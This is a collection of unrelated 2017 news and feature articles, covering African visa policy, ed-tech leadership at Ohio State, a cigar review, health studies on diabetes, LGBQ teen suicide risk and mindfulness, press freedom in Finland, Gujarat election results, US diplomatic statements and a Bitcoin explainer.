Would an Africa in which Africans require no visas to travel boost prospects for intracontinental trade?The African Union (AU) and many of the continent's economic organisations think so and want it to be a reality by 2020. It is not an entirely original concept (the European Union already has a visa-free policy for its citizens), and many experts laud the AU's position, at least in principle.The idea of an African passport dates back a quarter of a century but has failed to catch on with countries that fear an increase in smuggling, illegal immigration, terrorism, and the spread of disease as well as a negative impact on local job markets. With migration, legal and illegal, blamed for recent outbreaks of xenophobia in South Africa, some of these fears seem credible.Visa-free travel for Africans in Africa could be a logistical nightmare given that some citizens do not have travel documents and others lead nomadic lives. Individual countries may need to enact legislation to adopt the African passport. Few African nations use the biometric data that an African passport requires.Last year the AU launched an African passport, a signature project of former chairperson Nkosazana Dlamini-Zuma. However, the passport is currently available only to senior diplomats and top officials of AU's 55 member states.Of those member states, only Seychelles offers visa-free access to all African countries. "The large and fast-growing economies aren't following suit because the visa regime itself has created a bureaucratic habit," notes Daniel Silke, director of the South Africa - based Political Futures Consultancy."Old habits are hard to break, although there is justification for hesitation in terms of the legitimate layer of security that visas provide."Mr. Silke adds that growing and large economies worry about the impact that increased population movements might have on labour markets and cities. Some of Africa's fast-growing economies are Cote d'Ivoire, Ethiopia, Guinea, Senegal and Tanzania. Out of desperation, thousands of immigrants travel to South Africa, the continent's largest economy, to find work."With urban cities expanding rapidly across Africa, government institutions are strained, and cities that offer opportunities for trade, health care, a booming labour market, infrastructure, among others, will be under increased pressure," notes Mr. Silke.He suggests a focus on efficient and affordable visa procurement processes, advising regional communities to enact and implement policies that make it easier for their citizens to move from one member state to another.In November 2017, after 15 years of negotiations, the Central African Economic and Monetary Community (CEMAC), comprising of Cameroon, Central African Republic, Chad, Equatorial Guinea, Gabon and the Republic of Congo, ratified the visa-free movement of its citizens.Under the policy, member states will adopt biometric technology, ensure police and security services' coordination, and respect for different labour regulations.The next best thing to a visa-free system is visa on arrival, which may include authorization to stay for up to 90 days. Rwanda adopted this protocol in 2013 and has witnessed an increase in African visitors and investors, noted Mr. Anaclet Kalibata, the country's director general of immigration and emigration.Mr. Kalibata told Africa Renewal that between 2013 and 2016, the number of Africans receiving visas on arrival at Rwandan entry points increased by more than 100%. "We have also hosted many more conferences as a result of the removal of travel restrictions," he said.He maintained that crime rates in the country did not increase because of visa on arrival, contrary to fears initially expressed by skeptics."Most of the people entering our country do so for good reasons," said Mr. Kalibata. He pointed out that Rwanda has "laws governing criminality associated with the movement of people. We also believe in competitiveness in terms of skills. So, opening our borders has attracted new talent and investment."Like Rwanda, Ghana now offers visa-free access to a third of AU member states and visas on arrival to the other two-thirds. In so doing, the country has made the most progress of all African states toward a visa-free Africa for Africans, according to the Africa Visa Openness Report 2017 by the African Development Bank (AfDB).Senegal is offering visa-free access to 42 African countries in a bid to reenergize its tourism sector.At his swearing in as Kenya's president last November, Uhuru Kenyatta announced that all Africans will henceforth receive visa on arrival.An alternative to adopting visa-free access or visas on arrival is for countries to enter into reciprocal arrangements with other nations. Namibian authorities are making efforts to finalise such arrangements, meaning that citizens of countries allowing Namibians visas on arrival will receive reciprocal service at Namibian ports of entry.Although Rwanda already offers Africans visa on arrival, it is also receptive to reciprocal arrangements with other countries, explained Mr. Kalibata. "We've proven just how effective unrestricted regional travel can be through the issue of a unified national identity card and border pass for citizens of Uganda, Kenya and Rwanda."Another border pass agreement between Rwanda, the DRC, Burundi, Tanzania and Uganda has fostered regional social cohesion, and we've seen cross-border trade in our countries now contributing 42% to GDP, which is very significant," he added.Rwanda's experience, however, is not enough to change the perception of the negative impacts of liberalizing entry visas. Jean-Guy Afrika, AfDB's principal policy expert and a contributor to the Africa Visa Openness Report 2017, notes, "The 2016 analysis of Africa's visa policy regimes demonstrated that on average Africans needed visas at departure to travel to 54% of other African countries (from 55% in 2015); could get visas on arrival in only 24% (from 25% in 2015); and do not need visas to travel to just 22% (from 20% in 2015)."The reasons African countries remain closed to each other, says Mr. Afrika, vary significantly. "The key reasons advanced by policy makers generally relate to fears of job losses and security concerns. But there could also be issues of culture and trust. The answer probably lies somewhere in the nexus between politics, culture, history and economics."Mr. Afrika confirms that at the regional level, East and West Africa lead in visa openness. "In the 2017 rankings of the Africa Visa Openness Index, 75% of countries in the top 20 are in these two regions. Only one is in the North and none in Central Africa."The AfDB, the AU and the World Economic Forum Global Agenda Council on Africa collaborated on the Africa Visa Openness Report 2017, the second of its kind. Researchers gathered data from the International Air Transport Association and from responses to questionnaires administered to national focal points."Overall the trend is positive, given that just four years ago only five countries offered liberal, arrival or no visa, access to citizens of all African countries. Today that number stands at 14, but we want that number to keep moving up," Mr. Afrika says.Visa liberalization is not a magic bullet, he cautions, even if it can foster Africa's integration. He recommends other reforms and massive investments in connectivity to complement visa liberalization, citing Rwanda as an example of a country benefiting from coordinated investments and policy reforms, including in business and air transport infrastructure."Visa openness may only be one piece of the interconnected African states puzzle, but it is nonetheless a very important one," concludes Mr. Afrika.Africa Renewal
Education Trends

How the 'Slow Ed Tech Movement' Is Bringing a Sense of Purpose to Academic Technology

Slowing the pace of education technology work makes projects more sustainable, gives people a chance to connect, allows for more meaningful conversations and helps prevent burnout.

When Educause named Ohio State University's Liv Gjestvang a winner of its "Rising Star" award for 2017, it noted her involvement with the OSU Digital Storytelling program, which teaches faculty to share their stories and increase the visibility of their academic work, as well as Ohio State's Digital First initiative, which develops digital content to transform teaching and learning.

That breadth of work is key in the field of ed tech, according to Gjestvang, who serves as OSU's associate vice president of learning technology. In a Future Trends Forum video chat last week with futurist Bryan Alexander, she spoke about the idea of expanding the definition of what academic technology leaders address. "When I think about it, we would be only halfway successful if we created a great learning experience in the classroom," she said. "When the students are so digitally connected, the other half involves developing models for engagement and resilience that allow people to live lives that are meaningful, effective and healthy. That is the other half of our work, the deeper piece. All of those things need to be part of the equation."

Alexander began the conversation by asking Gjestvang about the concept of a "Slow Ed Tech Movement" and what that term means to her.

She responded by admitting that the pace of her team's work is growing faster every day, and that it is exciting that there are so many opportunities to address issues of access to higher education and introduce concepts of digital literacy and social change. "There are increasing opportunities to do work that has meaningful impact," Gjestvang said. "The slow piece is thinking about how we bring a relationship to the work that is driven by a sense of purpose and meaning. Also, it involves thinking about how we design ways of working in teams and as a community that allow us to sustain the work in ways that are healthy and that don't burn people out." When we operate at a breakneck pace, she explained, we lose the ability to bring passion to our work and to other things we care about.

With all the financial stresses universities are under, however, how does that vision translate into the day-to-day work of academic technology staff members?

"We are stopping to make sure we are thinking not just about opportunities in front of us with technology, but about the problems we are trying to solve," Gjestvang said. Sometimes that means walking away from or taking a pause on some avenues as OSU chooses which are most important to invest in. "We came from a place of pursuing a lot of opportunities at the same time," she said. "Now we are thinking about which of those we step away from and whether there are a few things we can invest in in really meaningful ways."

The other aspect of slow ed tech, she said, is making sure the work environment encourages people to connect with each other, and designing ways to share ideas that slow the pace a little bit and allow for meaningful conversations.

The conversation then turned to specific projects at OSU. One is called the Affordable Learning Exchange (ALX), which includes a variety of tools, including open content repositories and digital textbooks, aimed at providing a more affordable experience for students. Nineteen ALX grant recipients are working on projects during the 2017-2018 academic year that are projected to save students between $900,000 and $1,200,000 annually.
At the 2017 IPCPR Trade Show, Omar de Frias and Fratello Cigars unveiled their fourth regular production line, known as Fratello Navetta. Navetta is Italian for Shuttle and the name pays homage to De Frias prior employer, NASA. Last year, De Frias retired from NASA and decided to focus on Fratello Cigars full-time. After going to La Aurora in the Dominican Republic to produce the Connecticut Shade Fratello Oro, De Frias returned Joya de Nicaragua cigars to produce the Fratello Navetta. Joya de Nicaragua was the place where the companys first two lines  Fratello and Fratello Bianco were produced. Navetta also added an oscuro-wrapped blend into the companys portfolio. Today we take a closer look at the Fratello Navetta in the Discovery (Robusto) size.

When Fratello Navetta was announced, De Frias pointed out specifically what he had in mind in terms of doing a project to pay homage to his NASA days:

Blending Fratello Navetta was special as I wanted to translate the ultimate celebration our men and women of the space program felt after a successful mission. After being part of over 21 missions nothing beats the feeling of getting our astronauts home safe to their families. Colleagues of mine would get together and smoke a very special cigar to commemorate the occasion. This very special blend carries the ultimate feeling of innovation, duty, honor and success.

Without further ado, lets break down the Fratello Navetta Discovery and see what this cigar brings to the table:

Blend Profile

In addition to the Ecuadorian Oscuro wrapper, the blend to the Fratello Navetta also incorporates tobaccos from the Dominican Republic and Nicaragua.

Wrapper: Ecuadorian Habano Oscuro

Binder: Dominican Viso

Filler: Nicaraguan

Country of Origin: Nicaragua (Joya de Nicaragua SA)

Vitolas Available

The Fratello Navetta is available in four sizes. Each is packaged in 20-count boxes. The Atlantis features the companys box pressed torpedo vitola known as The Boxer  a staple found in each of the core lines.

Discovery: 5 x 50

Endeavor: 6 1/4 x 54

Enterprise: 6 x 60

Atlantis (Boxer): 6 1/4 x 52 (Box Pressed Torpedo)

Appearance

The Ecuadorian Oscuro wrapper of the Fratello Navetta Discovery has a classic coffee bean color. Depending on how the light hits the wrapper, it will give off varying degrees of Colorado red tint. Upon closer examination, some darker mottling can be seen on the surface. There was a light coating of oil on the wrapper and some thin visible veins and most of the visible wrapper seams were on the thin side.

The band Fratello Navetta features a white-colored variant of the companys signature Fratello band with the unique zig-zag/marquis design. The white background is sleek and is meant to be a similar color to the tiles found on the space shuttle. The zig-zag shape features the text FRAT and ELLO in a large black and chrome font on both the left and right side. There is a small black space shuttle-like design dividing each side of the zig-zag. A pattern of black, gray and chrome colors run through the middle of the band. On the far right of the band is a chrome nameplate-style design element in landscape mode. On that element is the text FRATELLO NAVETTA in black font.

The Fratello Navetta also has a sleeve that covers a little less than half of the Robusto size from the footer. The sleeve has a triangular tip. Most of the sleeve has the same space shuttle white color found on the band. At the center of the sleeve is the text FRATELLO in black and chrome font arrange in landscape mode. To the left and right of that text is the text NAVETTA in black font with the same small space shuttle-like design found on the primary of the band. The far right of the sleeve has a chrome strip with white leaves on it. Finally, the triangular top of the sleeve is chrome with black pinstripes.

Preparation for the Cigar Experience

Prior to lighting up the Fratello Navetta Discovery, I removed the sleeve from the cigar. I then proceeded to the pre-light draw. The dry draw delivered a mix of mocha (a cross between coffee and chocolate) and maduro sweetness (a cross between a dried fruit and natural tobacco). Overall, I considered this to be a very good pre-light. At this point, I was ready to light up the Fratello Navetta Discovery and see what the smoking phase would have in store.

Flavor Profile

Right out of the gate, additional notes of mocha and maduro sweetness were present on the Fratello Navetta Discovery. In the mocha notes, the coffee component was more prominent over the chocolate component. In the background, I detected some cedar notes. Both the mocha and maduro sweetness alternated in intensity during the early stages. Midway through the first third, the mocha, in particular the coffee notes, became the primary flavor. The maduro sweetness joined the cedar in the background. Meanwhile, the retro-hale produced a mix of cedar and red pepper.

By the end of the first third of the Fratello Navetta Discovery, some black pepper surfaced on the tongue. The mocha notes continued to be the primary flavor. Once into the second third, the chocolate component of the mocha became more prominent in the forefront. Once past the midway point, the black pepper that surfaced on the tongue began to increase. There still was some cedar and maduro sweetness in the background.

The final third saw the chocolate part of the mocha recede, resulting in the coffee component remaining. At the same time, the black pepper was now present in the forefront. There still were touches of cedar and maduro sweetness in the background. This is the way the Fratello Navetta Discovery came to a close. The resulting nub was soft to the touch but cool in temperature.

Burn and Draw

Overall, the burn maintained a straight burn path. There was some slight jaggedness from time to time. I did find this cigar required some touch-ups, but they didnt become excessive. The resulting ash was skewed toward the firm side. This was a silvery-gray ash with some darker streaks mixed in. The burn rate and burn temperature were both ideal.

As for the draw of the Fratello Navetta Discovery, it had the touch of resistance that is something I look for in every draw. At the same time, this cigar produced an ample amount of smoke along the way.

Strength and Body

The strength and body of the Fratello Navetta Discovery started out a medium. Along the way, both attributes increased in intensity linearly. The strength and body maintained a good balance. By the second half, both attributes had crossed into medium to full. I found the increase in intensity continued well toward the end of the cigar. In particular, by the end of the cigar, I was a little caught off guard with the strength levels as well as the weight of the flavors on the palate.

Final Thoughts

When you look at the assessment rating and final score of the Fratello Navetta versus previous Fratello releases, it might seem like the Navetta falls short. But thats not the case. Weve changed our approach and methodology regarding scoring and ratings. The bottom line is: the Fratello Navetta is an excellent release from Fratello. I liked the flavors this cigar delivered. At the same time, the cigar had the right amount of complexity and I liked how the cigar built up in intensity along the way. This is a cigar I would recommend to an experienced cigar enthusiast or a novice looking for something in the medium plus range. While its a cigar priced at $10.50, its a great cigar, one worthy of a celebratory smoke, and one that warrants consideration for a box purchase.

Summary

Key Flavors: Mocha, Maduro Sweetness, Black Pepper, Cedar

Burn: Very Good

Draw: Excellent

Complexity: Medium Plus

Strength: Medium (1st Half), Medium to Full (2nd Half)

Body: Medium (1st Half), Medium to Full (2nd Half)

Finish: Good

Rating

Value: Box Worthy Consideration

Score: 91

References

News: Fratello Navetta to Debut at 2017 IPCPR

Price: $10.50

Source: Purchased

Brand Reference: Fratello Cigars

Photo Credits: Cigar Coop
TUESDAY, Dec. 19, 2017 (HealthDay News) -- You probably lean on your friends in tough times. Now, new research suggests your pals might even help you prevent one very big health problem -- type 2 diabetes.

In a study of nearly 3,000 middle-aged to elderly people in the Netherlands, researchers found that people who had social networks of 10 to 12 people were less likely to develop type 2 diabetes than people with only seven to eight close friends.

Each drop in a social network member was tied to a 5 percent to 12 percent higher risk of diabetes, the study found.

The investigators also found that men living alone were more likely to have type 2 diabetes, while living alone didn't seem to affect a woman's risk of having the blood sugar disease.

"A larger network size may have an important impact on an individual's lifestyle," said the study's lead author, Stephanie Brinkhues. She's a doctoral candidate at Maastricht University in the Netherlands.

"A larger network also means more access to social support when it is needed, more contacts outside the house, and therefore being more socially active. The larger social network may help people to improve their lifestyle, eat more healthy and be more physically active," she said.

Those are important steps for preventing type 2 diabetes, which is linked to sedentary behavior and being overweight.

As to why men living alone might not do as well, the study's senior author, Miranda Schram, suggested several possibilities.

"Potentially, men living alone may not take care of themselves as much as women in this situation," said Schram, an associate professor at Maastricht University.

"They may have more unhealthy lifestyles, for instance, eating less fresh vegetables and fruit, being less physically active and, in general, health may be less an issue for them, compared to women living alone," she added.

Schram's advice to anyone at high risk of type 2 diabetes? Consider making new friends, volunteering or joining special-interest groups.

Both authors noted that this study wasn't designed to prove a cause-and-effect relationship. However, other research has also found a link between type 2 diabetes and living alone or with less social support, which suggests that these factors might contribute to type 2 diabetes, they said.

But at least one doctor thinks that if isolation or social networks play some role in type 2 diabetes, it's a small role.

Dr. Joel Zonszein is director of the Clinical Diabetes Center at Montefiore Medical Center in New York City.

"This was a very large and very impressive study, but there are still a lot of problems with the study," he said.

One issue is with the design of the study itself. It only looks at one moment in time, and doesn't account for changes that might have occurred in people's lives.

Zonszein said there are so many other factors that can contribute to diabetes, it's difficult to tease out the effect each one has, if any. The study authors did try to control for such factors, but it's hard to account for all of them. Zonszein said more research is needed to see if these findings can be replicated.

In the meantime, he won't be recommending extra social gatherings to his patients. "I don't think having more friends or being less isolated will slow down the progression of diabetes," he concluded.

However, the study authors stressed that people should be encouraged to expand their social network. Doing so could have additional health benefits, they said.

Study participants ranged in age from 40 to 75, with an average age of 60. About half were female, and 29 percent had type 2 diabetes.

The study was published online Dec. 18 in BMC Public Health.

More information

Learn more about preventing type 2 diabetes from the U.S. National Institute of Diabetes and Digestive and Kidney Diseases.
TUESDAY, Dec. 19, 2017 (HealthDay News) -- Teens who are lesbian, gay, bisexual or questioning (LGBQ) have a much higher risk for suicidal behavior than other teens, a new study has found.

Nearly 40 percent of LGBQ teens told researchers that they had seriously considered suicide in the past year. In addition, 35 percent had planned suicide and 25 percent had attempted suicide.

By comparison, 15 percent of heterosexual teens had seriously considered suicide, 12 percent had planned it and 6 percent had attempted it, the researchers said.

"There have been some indications that LGBQ youth face increased suicide risks, yet many believed the jury was still out," study co-author John Ayers said in a news release from San Diego State University.

"Our study yields a clear verdict: LGBQ youth face staggeringly high suicide risks," Ayers said. He is an associate research professor with the university's School of Public Health.

Data used in the study came from a federal government health survey of over 15,600 U.S. high school students.

The investigators determined that LGBQ teens were 2.45 times more likely to consider suicide, nearly 3.6 times more likely to plan a suicide and about 3.4 times more likely to attempt suicide than were heterosexual teens.

To compare LGBQ and heterosexual teens, the researchers adjusted the data to account for differences in age, gender, race, academic grades and English proficiency.

Further analysis revealed that the risk for suicidal behavior was especially high among bisexual boys. Among them, 39 percent had seriously considered suicide, compared with 10 percent of heterosexual boys.

The study was published Dec. 19 in the Journal of the American Medical Association.

Every possible measure must be taken to help LGBQ youth, study co-author Dr. Davey Smith said in the news release. He's a clinician researcher at the university's School of Medicine and an advocate for sexual minority patients.

"Parents, teachers, caretakers, and advocates need to be vigilant," he said. "If youth show signs of suicidal risk, they should seek supportive help from professionals."

Smith also said that researchers must do more to tackle the potential causes of suicide among LGBQ youth, such as stigma.

More information

The American Academy of Family Physicians has more on teen suicide.
TUESDAY, Dec. 19, 2017 (HealthDay News) -- For college students stressed out at exam time, a new study suggests there is a simple way to improve their mental health -- mindfulness training.

Mindfulness is an ancient practice that has gained some popularity among those feeling rushed by the often hectic pace of modern life. It involves being focused on the present, what you're thinking and feeling, as well as what's happening around you -- so-called living in the moment.

Students in the study who were given mindfulness training lowered their stress levels during exam time, the study found.

The study included 616 students at the University of Cambridge in England. All were given counseling, but one group also participated in mindfulness training. That involved eight weekly group sessions and at-home practice.

Not only did the students who received mindfulness training have lower levels of stress during annual exams, but they also reported higher levels of well-being than those who did not receive the training.

"This is, to the best of our knowledge, the most robust study to date to assess mindfulness training for students, and backs up previous studies that suggest it can improve mental health and well-being during stressful periods," said study leader Julieta Galante, from the university's department of psychiatry.

"Students who had been practicing mindfulness had distress scores lower than their baseline levels, even during exam time, which suggests that mindfulness helps build resilience against stress," Galante noted in a university news release.

Peter Jones, also from the university's psychiatry department, said that "evidence is mounting that mindfulness training can help people cope with accumulative stress."

Jones added, "While these benefits may be similar to some other preventative methods, mindfulness could be a useful addition to the interventions already delivered by university counseling services. It appears to be popular, feasible, acceptable and without stigma."

The study was published Dec. 18 in The Lancet Public Health.

More information

The American Academy of Pediatrics offers mental health tips for college students.
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Brussels, December 19, 2017The Committee to Protect Journalists today called on Finnish authorities not to take action that could limit the flow of information to the public. Finnish police on December 17 searched the Helsinki home of journalist Laura Halminen, who had recently co-authored an article about a classified intelligence monitoring program, according to news reports.

Halminen, who writes for the daily Helsingin Sanomat, had tried to destroy her computer, which contained sensitive source material, on the evening of December 17, but the device started smoking, prompting her to call the fire department, Reuters reported citing a Finnish-language interview published in her newspaper. Police accompanied the firefighters, searched the reporters home, and confiscated her computer, personal and professional company mobile phones, iPad, and several flash drives, according to news reports. The police did not have a search warrant, according to Helsingin Sanomat.

A journalists right to protect sources is a cornerstone of the profession, said CPJ European Union Representative Tom Gibson. Journalists in Finland should not have to worry about unwarranted search and seizure.

Prior to the home search, Finlands defense ministry on December 16 filed a criminal complaint against Helsingin Sanomat and Halminen over the newspapers intelligence program story. The national investigation bureau launched an investigation into the illegal disclosure of security intelligence data, a crime punishable with up to four years imprisonment, the Finnish Yle News reported.
 



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By Yusuf Begg: It was not the Patidar ire that singed the Bharatiya Janata Party (BJP) as much as the resentment of farmers. And one of the big names to fall by the way side is Chimanbhai Dharamshibhai Sapariya, minister of agriculture and energy in the outgoing Vijay Rupani Cabinet.

Sapariya lost to Congress' Kalariya Chiragbhai Rameshbhai in Jamjodhpur constituency. While the BJP candidate polled 61,694 votes, his main opponent received 64,212.

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Sapariya's fate reflects those of other BJP candidates slugging it out in the rural constituencies in Gujarat. Across the 127 rural seats, Congress bagged 68 (17 more than in 2012), BJP 57 (13 fewer than 2012) while others, including independents, won two (in the previous elections they had won six).

GOING AGAINST THE GRAIN

Political commentators have noted the chasm between urban and rural voters. The urban voters continued to trust the BJP but when it came to rural seats the electorate voted with its feet. In Saurashtra and Kutch, of the 54 seats, Congress won 30, BJP 23 and others one; in the 2012 Assembly elections the BJP had won 35, Congress 16 and others three.

Saurashtra is the heart of rural Gujarat. Congress' traditional hold over the rural voters explains only part of the story. As does the Patidar agitation. In Surat and Mehasana, considered to be the epicentre of Patidar agitation, the BJP fared pretty well.

SEEDS OF DISCONTENT

Across the country agriculture is under stress as incomes from the farm dip. But in Gujarat the anger of farmers was stoked by the Vijay Rupani government's inability to honour its word on minimum support price (MSP) for cotton and groundnuts.

The BJP government in Gujarat had promised an MSP of Rs 1,500 per 20 kg of cotton; in reality the farmers got only around Rs 700. In Saurashtra, farmers sold groundnuts at Rs 3,500 per quintal as against Rs 4,500 that the government had promised as a procurement price.

Crop prices were not the only factor worrying the farmers. The much tom-tommed Narmada waters failed to water many fields but many BJP leaders, including Prime Minister Narendra Modi, had proclaimed the opposite.

With youth and farmers making their displeasure with the BJP very clear in the Gujarat election, Modi has his job cut out. Loan waivers and bluster will not be enough to bring back these two segments of society. A long-term plan for agriculture and energising the job market are what Modi should be focusing on. As any voter will tell you economic growth is a very productive carrot in electoral politics.

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ALSO WATCH | People of Gujarat reject Modi's hollow development model, Rahul speaks after defeat

--- ENDS ---
The BJP won in Gujarat, but the Congress did not lose, the Shiv Sena said in an editorial published in Saamna a day after election results came in for Prime Minister Narendra Modi's home state.

Prime Minsiter Narendra Modi is being credited for having helped the BJP win in the Gujarat Assembly election (Reuters photo)

By India Today Web Desk: The Gujarat assembly election results should send alarm bells ringing in the Bharatiya Janata Party - that is how the Amit Shah-led party's now-friend, now-foe ally Shiv Sena reacted a day after counting day.

An editorial in Saamna, a Sena mouthpiece, took a direct barb at Prime Minister Narendra Modi saying the results showed that the famed Gujarat model of development had "stumbled". The Gujarat election results could be the start of what might ultimately happen in the 2019 Lok Sabha election, the Saamna editorial went on to say.

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"The BJP won in Gujarat, but the Congress did not lose," the Sena mouthpiece also said, as it raked up party chief Amit Shah's "150+ seats" claim. "The BJP had thumped its chest and boasted it would not win less than 150 seats in Gujarat, but in the end, the party struggled to even reach 100 seats."

With the final tally in late night, the BJP won 99 seats in the 182-member Gujarat assembly. The Congress, which was led by an aggressive Rahul Gandhi during the Gujarat campaign, won 77 seats. "Rahul took along youth leaders like Hardik Patel and just fell a little short of victory in the Gujarat battle," Saamna, which just a few days earlier had praised the Gandhi scion, commented.

COMPLETE COVERAGE | Gujarat election results | Himachal Pradesh election results

"The victory was BJP's, but the discussions (around the Gujarat election results) are about Rahul Gandhi's political leap," the editorial went on to say. "The results make it clear that while the [Narendra Modi] wave hasn't disappeared, it certainly has waned."

Shiv Sena has often used Saamna to indirectly attack the BJP, with whom the party is in alliance in the Maharashtra government. The Saamna editorial today comes just days after Aditya Thackeray, chief of the Sena's youth wing and the son of party boss Uddhav, said his party will quit the BJP alliance in Maharashtra within a year's time.

"We will quit the power in one year and come back to power on our strength," he had said while talking to Shiv Sena workers in Maharashtra's Ahmednagar. "Once it is done all of you have to work together to bring about a change."

WATCH | BJP adds two more states in its kitty even as Congress fights hard in Gujarat

--- ENDS ---
The partnership between America and the European Union is based on shared values, shared objectives for security and prosperity on both sides of the Atlantic, and we remain committed to that, said U.S. Secretary of State Rex Tillerson.

With regard to North Korea, the United States and the EU do not accept a nuclearized Korean Peninsula. Political and economic pressure will continue until North Korea reverses its course.

The United States and the EU continue to support the defeat of ISIS not just in Iraq and Syria but globally.

Secretary Tillerson observed that Iran continues to be a source of instability in the Middle East. Weve seen this recently with ballistic missiles being fired from Yemen, which its our belief are sourced from Iran; their support for the Houthis, and the destabilizing effect that that has in Yemen. We also know of Irans destabilizing effect of exporting weapons and militia to Syria, an area of conflict, and their ongoing support for Hezbollah, a terrorist organization.Secretary Tillerson stressed that these activities of Iran cannot be ignored and cannot go unanswered.

As a NATO Ally, the United States is pleased to see NATO-EU cooperation continuing to evolve and deepen since the joint declaration was signed last year. Our security is strongest when allies and partners shoulder their fair share of the burden, and thats why we continue to call on others to increase their defense spending, said Secretary Tillerson.

The United States and the EU continue to support the peace process in Syria. The United States endorses the resumption of talks in Geneva under the leadership of the UN Representative Staffan de Mistura to chart a new course forward for Syria that will serve the will of the Syrian people.

The partnership between America and the EU is longstanding, said Secretary Tillerson. The enduring relationship illustrates the strong commitment that the United States has to the EU and the important role that the EU plays in promoting peace and prosperity.
The United States is committed to empowering women all over the world. In too many places around the world today women face barriers  barriers to equality, to resources, to opportunities, said USAIDs Senior Deputy Assistant Administrator of the Bureau for Economic Growth, Education, and Environment and Senior Coordinator for Gender Equality and Women's Empowerment, Michelle Bekkering. It could be a barrier to credit, to the connectivity needed to launch a business. And all too frequently, women are hamstrung by gender-based violence, at home or within the community.

Gender-based violence takes an enormous toll on women, on girls, on their families, on communities and countries, said Senior Deputy Assistant Administrator Bekkering:

Gender-based violence, is a pervasive barrier to global security, to womens empowerment, and to economic growth. It is estimated right now that gender-based violence has cost the world more than five percent of its global GDP, having a greater aggregate economic impact than war.

USAID is taking a two-pronged approach to doing away with this scourge: prevention and response. On prevention, we first need to learn whats causing the problem, particularly if the number and severity of incidents spike within a given region. How do natural disasters compound gender-based violence? What about lack of access to natural resources? What is the impact of local laws?

As part of a response to the problem, we look at the regulatory framework, make sure there are laws that clearly define and punish perpetrators of gender-based violence.

Improving girls education is a step in the right direction, said Ms. Bekkering. For every additional year that a girl goes to school, she is less likely to be a victim of gender-based violence. So is improving womens access to digital technologies, and ensuring support from local leadership.

U.S. Congress appropriates a combined 150 million dollars to the State Department and to USAID for the global effort to address gender-based violence. It also provides appropriations for combating child, early, and forced marriage, which are closely linked to gender-based violence. Since 2012, USAID has provided critical services to over five million survivors and persons at risk of GBV.

Women and girls, said Senior Deputy Assistant Administrator Bekkering, should be safe from the threat of violence in their homes, in their communities, and they should have access to education and health care  and opportunities to live up to their full economic potential.
Jose Luis Caceres in his project accelerator lab in Madrid CARLOS ROSILLO

Felix Brezo has come to terms with the fact that he is never going to retrieve the $6,630 he lost in Bitcoin assets. In reality, the money never existed as such in his wallet. A computer scientist, Brezo bought 39 cents in Bitcoins five years ago, worth at the time no more than $2.

Bloomberg calculates that just 1,000 people control 40% of the Bitcoin market

After making the initial investment, Brezo decided to protect the code that gave him access to his cryptocurrency with another password. However, five years later, he had forgotten what that password was. And in the world of digital currency, no password means no money.

Welshman James Howells took a more serious blow in 2013 when the hard drive where he stored the access code to his 7,500 Bitcoins  currently worth $127 million  was thrown out with his computer. Howells has offered compensation to anyone who can track down the multi-million dollar machine, but so far, no one has claimed the reward.

These are just two examples of the inherent risks of Bitcoin, which has skyrocketed in the second half of this year. What was worth $1,000 in February jumped to $4,000 in August and $6,000 in October. It then leaped to an eye-watering $16,000 where it stands on December 19.

But while interest is growing in this new digital gold, alarm bells are ringing over its lack of regulation and exposure to risk. Here are some guidelines for those considering trying their luck.

How do I buy Bitcoin?

Before you start, you have to set up a digital wallet by downloading an app. Among the best known are Mycelium and Blockchain. However, you can also buy digital currency directly by opening an account in a digital currency exchange such as Coinbase.

I have five bitcoins. How do I get my hands on the $85,000 they are worth?

In Spain, you can go to any of the 10,000-odd cash machines that use Halcash technology, allowing money to be sent to cell phones. Once at the cashpoint, you can withdraw the money via a code sent to you by SMS. This is the procedure used by Bit2Me, the biggest exchange for Bitcoin in Spain. Its founders have also created the Tikebit tool that allows you to buy Bitcoin in more than 11,000 outlets.

The value of Bitcoin has soared. Should I invest?

Experts across the board are advising a great deal of caution. Bitcoin is extremely volatile and can plummet as quickly as it can soar. Certainly, its only soared so far, but there are no guarantees it will continue on this flight path. Experts advise investing an amount you can afford to lose. As a spokesman for the global fund management firm Blackrock says, If youre investing in Bitcoin, you need to be prepared to lose everything.

Bitcoin is extremely volatile and can plummet as quickly as it can soar

News of investors greedy for profit and mortgaging all their worldly possessions to buy into Bitcoin suggests a bubble that can only end in tears. Its like the dot-com bubble, says Jose Luis Caceres, managing director of the Madrid-based ideas factory for digital transformation, NWC10. Its very likely it will burst. But Blockchain, the technology that underlies Bitcoin will keep going, just as the internet continued after the dot-com bubble.

What are the risks?

Investors thinking of buying Bitcoins should be aware that it is an extremely volatile market influenced by a mere handful of investors. Bloomberg calculates that just 1,000 people are in control of 40% of the market. The big Bitcoin players who show their hand in the market are referred to as whales. Bulgaria, for example, is a whale. One of the poorest countries in the EU, it owns 210,000 Bitcoins. If it cashed these in right now, it would be 3.5 billion better off  the equivalent of 13% of the countrys national debt. And the transaction would seriously rock the market. One of these big investors could sink the price, says Brezo, a security analyst with Telefonica. One of the risks of Bitcoin is that it is not regulated.

The Securities and Exchange Commission that regulates markets in the US has just warned small investors that the level of protection for Bitcoin is far lower than offered by traditional markets, leaving it wide open to fraud and manipulation.

Will the bubble burst soon?

Thats the million-dollar question. While some believe a crash is imminent, others claim Bitcoin still has a good a way to go before it goes into freefall. There are even those who believe it has a promising future. The Bitcoin market has dipped at times but I believe it can only increase over time, says Leif Ferreira, founder of Bit2Me. The money has more and more uses and many governments are investing heavily in it. Which means a lot more growth.

If youre investing in Bitcoin, you need to be prepared to lose everything Blackrock spokesman

A gamble thats paying off?

At the start of the year, Bit2Me, the biggest exchange for Bitcoin in Spain, was shifting 100,000 a month. Now its shifting 7.5 million, such is the frenzy gripping the market. Almost no one is selling. Around 95% of our customers want to buy, mostly speculators, says Leif Ferreira, Bit2Mes founder who started the trading company with 300 three years ago and now has more than 40,000 clients on his books. They believe that the price has not yet peaked.

Bitcoin and Blockchain  the technology underlying the digital currency  is also of interest to entrepreneurs, such as project accelerator NWC10, an ideas factory set up two years ago for digital transformation that specializes in Blockchain. We are not as focused on the market price of the currency as on the potential for transformation that is behind the Bitcoin project, says Jose Luis Caceres, managing director at NWC10.

English version by Heather Galloway.
David Alandete, managing editor at El Pais, giving testimony.

A British parliamentary committee investigating fake news will hear testimony on Tuesday morning regarding alleged Russian influence in the Catalan independence referendum of October 1.

The Digital, Culture, Media and Sport Committee is holding the first public session of an inquiry that began during the previous political term and was relaunched in September, following the UK elections.

The committee will also hear evidence from experts on artificial intelligence and algorithms

The goal of the inquiry is to analyze fake news, the boundaries between these and biased but legitimate commentary, and their impact on public understanding of the world, and also on the public response to traditional journalism, according to the committees mission statement.

